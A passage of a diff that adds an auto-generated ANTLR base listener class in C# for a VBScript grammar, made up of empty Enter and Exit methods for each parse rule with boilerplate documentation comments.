Exit a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context) { } + /// + /// Enter a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context) { } + /// + /// Exit a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleBody([NotNull] VBScriptParser.ModuleBodyContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleBody([NotNull] VBScriptParser.ModuleBodyContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlock([NotNull] VBScriptParser.BlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlock([NotNull] VBScriptParser.BlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLineLabel([NotNull] VBScriptParser.LineLabelContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLineLabel([NotNull] VBScriptParser.LineLabelContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineBlock([NotNull] VBScriptParser.InlineBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineBlock([NotNull] VBScriptParser.InlineBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlockStmt([NotNull] VBScriptParser.BlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlockStmt([NotNull] VBScriptParser.BlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBeepStmt([NotNull] VBScriptParser.BeepStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBeepStmt([NotNull] VBScriptParser.BeepStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCloseStmt([NotNull] VBScriptParser.CloseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCloseStmt([NotNull] VBScriptParser.CloseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterConstStmt([NotNull] VBScriptParser.ConstStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitConstStmt([NotNull] VBScriptParser.ConstStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDateStmt([NotNull] VBScriptParser.DateStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDateStmt([NotNull] VBScriptParser.DateStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context) { } + /// + /// Enter a parse tree produced by the dlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDlStatement([NotNull] VBScriptParser.DlStatementContext context) { } + /// + /// Exit a parse tree produced by the dlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDlStatement([NotNull] VBScriptParser.DlStatementContext context) { } + /// + /// Enter a parse tree produced by the dwlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDwlStatement([NotNull] VBScriptParser.DwlStatementContext context) { } + /// + /// Exit a parse tree produced by the dwlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDwlStatement([NotNull] VBScriptParser.DwlStatementContext context) { } + /// + /// Enter a parse tree produced by the dlwStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDlwStatement([NotNull] VBScriptParser.DlwStatementContext context) { } + /// + /// Exit a parse tree produced by the dlwStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDlwStatement([NotNull] VBScriptParser.DlwStatementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEndStmt([NotNull] VBScriptParser.EndStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEndStmt([NotNull] VBScriptParser.EndStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterClassStmt([NotNull] VBScriptParser.ClassStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitClassStmt([NotNull] VBScriptParser.ClassStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEraseStmt([NotNull] VBScriptParser.EraseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEraseStmt([NotNull] VBScriptParser.EraseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEventStmt([NotNull] VBScriptParser.EventStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEventStmt([NotNull] VBScriptParser.EventStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterExitStmt([NotNull] VBScriptParser.ExitStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitExitStmt([NotNull] VBScriptParser.ExitStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterGetStmt([NotNull] VBScriptParser.GetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitGetStmt([NotNull] VBScriptParser.GetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterGoToStmt([NotNull] VBScriptParser.GoToStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitGoToStmt([NotNull] VBScriptParser.GoToStmtContext context) { } + /// + /// Enter a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context) { } + /// + /// Exit a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context) { } + /// + /// Enter a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context) { } + /// + /// Exit a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInputStmt([NotNull] VBScriptParser.InputStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInputStmt([NotNull] VBScriptParser.InputStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterKillStmt([NotNull] VBScriptParser.KillStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitKillStmt([NotNull] VBScriptParser.KillStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMidStmt([NotNull] VBScriptParser.MidStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMidStmt([NotNull] VBScriptParser.MidStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLetStmt([NotNull] VBScriptParser.LetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLetStmt([NotNull] VBScriptParser.LetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLoadStmt([NotNull] VBScriptParser.LoadStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLoadStmt([NotNull] VBScriptParser.LoadStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLockStmt([NotNull] VBScriptParser.LockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLockStmt([NotNull] VBScriptParser.LockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLsetStmt([NotNull] VBScriptParser.LsetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLsetStmt([NotNull] VBScriptParser.LsetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNameStmt([NotNull] VBScriptParser.NameStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNameStmt([NotNull] VBScriptParser.NameStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOpenStmt([NotNull] VBScriptParser.OpenStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOpenStmt([NotNull] VBScriptParser.OpenStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOutputList([NotNull] VBScriptParser.OutputListContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOutputList([NotNull] VBScriptParser.OutputListContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPrintStmt([NotNull] VBScriptParser.PrintStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPrintStmt([NotNull] VBScriptParser.PrintStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPutStmt([NotNull] VBScriptParser.PutStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPutStmt([NotNull] VBScriptParser.PutStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRedimStmt([NotNull] VBScriptParser.RedimStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRedimStmt([NotNull] VBScriptParser.RedimStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRedimSubStmt([NotNull] 